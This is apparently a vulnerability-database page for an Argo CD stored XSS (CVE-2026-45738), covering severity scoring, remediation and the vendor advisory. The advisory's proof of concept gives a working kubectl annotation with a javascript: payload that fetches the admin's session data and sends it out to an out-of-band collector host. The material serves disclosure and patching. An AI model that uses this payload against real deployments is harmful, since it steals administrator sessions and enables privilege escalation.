Skip to main content

Argo CD CVE-2026-45738

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-19 https://github.com/argoproj/argo-cd GHSA-h98r-wv3h-fr38
8.7
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as developer with app write access
  2. Delivery
    Set javascript: payload in link annotation
  3. Exploit
    Admin opens Summary tab and clicks disguised link
  4. Install
    Script runs in admin's Argo CD origin
  5. C2
    Credentialed fetch to session/userinfo API
  6. Execute
    Exfiltrate admin session via no-cors OOB request
  7. Impact
    Escalate developer to admin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated account holding application write access (developer role, e.g. RBAC p, role:developer, applications, *, */*, allow) to set the malicious link.argocd.argoproj.io/* annotation on an Application, and it requires a higher-privileged victim (admin/operator) to subsequently open that Application's Summary tab and click the attacker-labeled link (UI:R). It works against Argo CD's default configuration because the default CSP (frame-ancestors 'self' only) provides no script-execution or exfiltration mitigation and React 16.x does not block javascript: hrefs - no non-default setting is needed on the server side. Limiting factors: the attacker must already be authenticated with write access (not a pre-auth flaw), a distinct privileged user must be socially induced to click, and installations that have upgraded to 3.2.12/3.3.10/3.4.2 or that restrict developer application-write RBAC are not exploitable.

Impact

The signals are mixed and worth weighing carefully. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, base 8.7) reflects genuine severity - network reachable, low complexity, and a scope change driving developer-to-admin privilege escalation - but two gating factors materially reduce real-world likelihood: PR:L means the attacker must already hold an authenticated developer/application-write role, and UI:R means a higher-privileged admin must actually open the compromised Application's Summary tab and click the disguised link. EPSS is 0.04% (12th percentile), consistent with an insider/targeted vector rather than opportunistic mass exploitation, and there is no CISA KEV listing, so this is not confirmed actively exploited. However, a complete, tested PoC is published in the vendor advisory (publicly available exploit code exists), and the stealth of the attack (arbitrary display label hiding the javascript: href) makes the UI:R barrier realistically surmountable in multi-tenant Argo CD deployments. Net: a real priority for organizations running Argo CD with delegated developer RBAC and multiple privilege tiers, but lower urgency for single-operator installs. No data conflicts noted; CVSS network vector is consistent with the browser-delivered, same-origin-fetch execution described.

Exploit ScenarioDerived

A developer with application-write RBAC runs kubectl annotate application <app> link.argocd.argoproj.io/docs='GitHub Repo|javascript:fetch(...userinfo...).then(exfil)', which persists in the Kubernetes Application resource and renders in the Summary tab as an innocuous 'GitHub Repo' link. When an admin later opens that Application's Summary tab and clicks the link, the javascript: URI executes in the Argo CD origin using the admin's credentialed session, exfiltrating /api/v1/session/userinfo data out-of-band. A working PoC (validated with Burp Collaborator, returning {"loggedIn":true,"username":"admin"}) is published in the vendor advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Jul 20, 2026

Stored cross-site scripting in Argo CD lets a low-privileged developer escalate to admin by planting a malicious link.argocd.argoproj.io/* annotation on any Application; the value is rendered as an unvalidated <a href> in the Summary tab's URLs section, so a javascript: payload hidden behind a benign 'GitHub Repo' label executes in the admin's authenticated same-origin session when clicked. A detailed public exploit exists (PoC in the vendor advisory demonstrating session exfiltration via Burp Collaborator), though EPSS is very low (0.04%) and there is no public exploit identified as actively used; this is a CVSS 8.7 authenticated, user-interaction-dependent issue affecting Argo CD v2.x, v3.2.x, v3.3.x and v3.4.x. An attacker with applications write access can capture the admin's session data and drive Argo CD APIs as admin.

Earlier versions of this analysis (1)
v1 May 19, 2026 - 16:30 CVSS 7.3

Stored XSS in Argo CD allows developer-role users to inject javascript: URIs via link.argocd.argoproj.io/* annotations, which render unvalidated in the Application Summary tab's URLs section. When an admin clicks the disguised link, arbitrary JavaScript executes in the ArgoCD same-origin context with the victim's session, enabling API exfiltration and developer-to-admin privilege escalation. No public exploit identified at time of analysis beyond the detailed vendor PoC, and the issue is not currently listed in CISA KEV.

RemediationAI

Vendor-released patches are available: upgrade to Argo CD 3.2.12, 3.3.10, or 3.4.2 depending on your release line (release notes at https://github.com/argoproj/argo-cd/releases/tag/v3.2.12, /v3.3.10, and /v3.4.2). The fix adds server-side URL validation via settings.ValidateExternalURL() in controller/cache/info.go and applies isValidURL() filtering in the UI summary component (commits 00f83c41, 35ea43c5, c8df5ff7), dropping javascript:, data:, vbscript: and scheme-less annotation values. If running the v2.x line (2.14.21 and earlier), note no patched v2 version is identified at time of analysis - plan migration to a fixed v3 release. As compensating controls until patched: tighten RBAC so untrusted users do not hold applications, *, */* write access (restrict the link.argocd.argoproj.io/* annotation surface by limiting who can update Application resources, at the cost of developer self-service); harden the reverse proxy in front of Argo CD to inject a strict Content-Security-Policy (e.g. script-src 'self'; connect-src 'self') to blunt inline script execution and out-of-band exfiltration, with the trade-off of possible UI breakage that must be tested; and advise admins/operators not to click external links on Applications from untrusted authors.

Affected Packages

go github.com/argoproj/argo-cd no fix
go github.com/argoproj/argo-cd/v2 no fix
go github.com/argoproj/argo-cd/v3 fix: 3.2.12, 3.3.10, 3.4.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Argo CD is a Kubernetes-native GitOps continuous-delivery controller with a React (16.9.3) web UI. Managed resources can carry link.argocd.argoproj.io/* annotations that Argo CD surfaces as external links. The vulnerable sink is ui/src/app/applications/components/application-summary/application-summary.tsx:277, which splits the annotation on |, using parts[0] as display text and parts[1] directly as the anchor href with no call to the existing isValidURL() helper in shared/utils.ts - unlike the sibling ApplicationURLs component which does validate and block dangerous schemes. This is a classic CWE-79 (improper neutralization of input during web page generation) failure: React 16.x does not itself strip javascript:/data:/vbscript: URIs from href (React 19 later added that guard), and Argo CD's default CSP is only frame-ancestors 'self' with no script-src/connect-src/default-src, so there is no defense-in-depth against script execution or credentialed exfiltration. Affected packages per CPE are go/github.com/argoproj/argo-cd v2, and .../v3.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

Attacker needs authenticated developer write access (PR:L) and an admin must click the crafted link (UI:R); script runs cross-privilege in the admin session (S:C) enabling session theft (C:H) and admin API actions (I:H), no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Analysis Updated
Jul 20, 2026 - 02:13 vuln.today
v2 - CVSS changed
CVSS changed
Jul 20, 2026 - 02:07 NVD
7.3 (HIGH) 8.7 (HIGH)

DescriptionNVD

Summary

A user with application write access (developer role) can set link.argocd.argoproj.io/* annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as <a href> elements without URL validation. Using the pipe-separator trick (Display Text | javascript:...), an attacker can inject a javascript: URI while displaying a legitimate-looking label (e.g. GitHub Repo). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin.

Details

Vulnerable sink: ui/src/app/applications/components/application-summary/application-summary.tsx:277

tsx
const parts = (url || '').split('|');
<a key={i} href={parts.length > 1 ? parts[1] : parts[0]} target='_blank'>
    {parts[0]}
</a>

The annotation value is split on |. parts[0] becomes the visible link label; parts[1] becomes the href. No call to isValidURL() is made, unlike the protected ApplicationURLs component (application-urls.tsx:72,80) which does validate URLs and blocks javascript:. The target='_blank' opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed fetch() calls).

Root cause: React 16.x does not block javascript: URIs in href attributes (this protection was added in React 19). The helper isValidURL() exists in shared/utils.ts but is not applied to this sink.

CSP: ArgoCD's default Content Security Policy is frame-ancestors 'self' only - no script-src, no connect-src, no default-src - providing zero XSS execution mitigation.

PoC

Prerequisites: Developer role with application write access (e.g. RBAC: p, role:developer, applications, *, */*, allow).

Step 1 - Set malicious annotation as developer:

bash
kubectl annotate application <app-name> -n argocd \
  'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https://<argocd-host>/api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))'

The URL section in the admin's Summary tab renders the link as "GitHub Repo" - the javascript: payload is invisible in the displayed text.

Step 2 - Admin opens Summary tab of the annotated application and clicks the link.

Step 3 - JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator:

javascript
// Payload used during testing (Burp Collaborator OOB):
fetch("https://<argocd-host>/api/v1/session/userinfo", {credentials:"include"})
  .then(r => r.json())
  .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"}))

Step 4 - Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response:

json
{"iss":"argocd","loggedIn":true,"username":"admin"}

Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3.

Impact

  • Stored XSS - payload persists in the Kubernetes Application resource until manually removed
  • Privilege escalation - developer role → admin session hijacking via authenticated API calls
  • Maximum stealth - the injected link displays as any attacker-chosen text; the javascript: href is never visible to the victim
  • No server-side interaction required - purely client-side exploit, no network egress needed for execution (exfiltration uses no-cors fetch, bypassed by absent connect-src CSP)
  • Any admin or operator who views the Summary tab of the compromised application is affected

Credits

Discovered and reported by Jan Kahmen ([jan@turingpoint.de](mailto:jan@turingpoint.de)) - turingpoint.de

Executive ViewAI

Why It Matters

Argo CD versions 2.x through 3.4.x contain a privilege escalation vulnerability allowing low-privileged developers to compromise administrative accounts through malicious annotations. When administrators access affected applications, attackers can execute code in their authenticated sessions to gain full pipeline control and manipulate deployments. This directly threatens CI/CD integrity and creates compliance exposure across all managed deployments.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Prevalence
High
leading GitOps CD controller, widely deployed across enterprise Kubernetes
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Affected Products (CPE)NVD

pkg:go/github.com_argoproj_argo-cd_v3
pkg:go/github.com_argoproj_argo-cd_v3
pkg:go/github.com_argoproj_argo-cd_v3
pkg:go/github.com_argoproj_argo-cd_v2
pkg:go/github.com_argoproj_argo-cd
CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy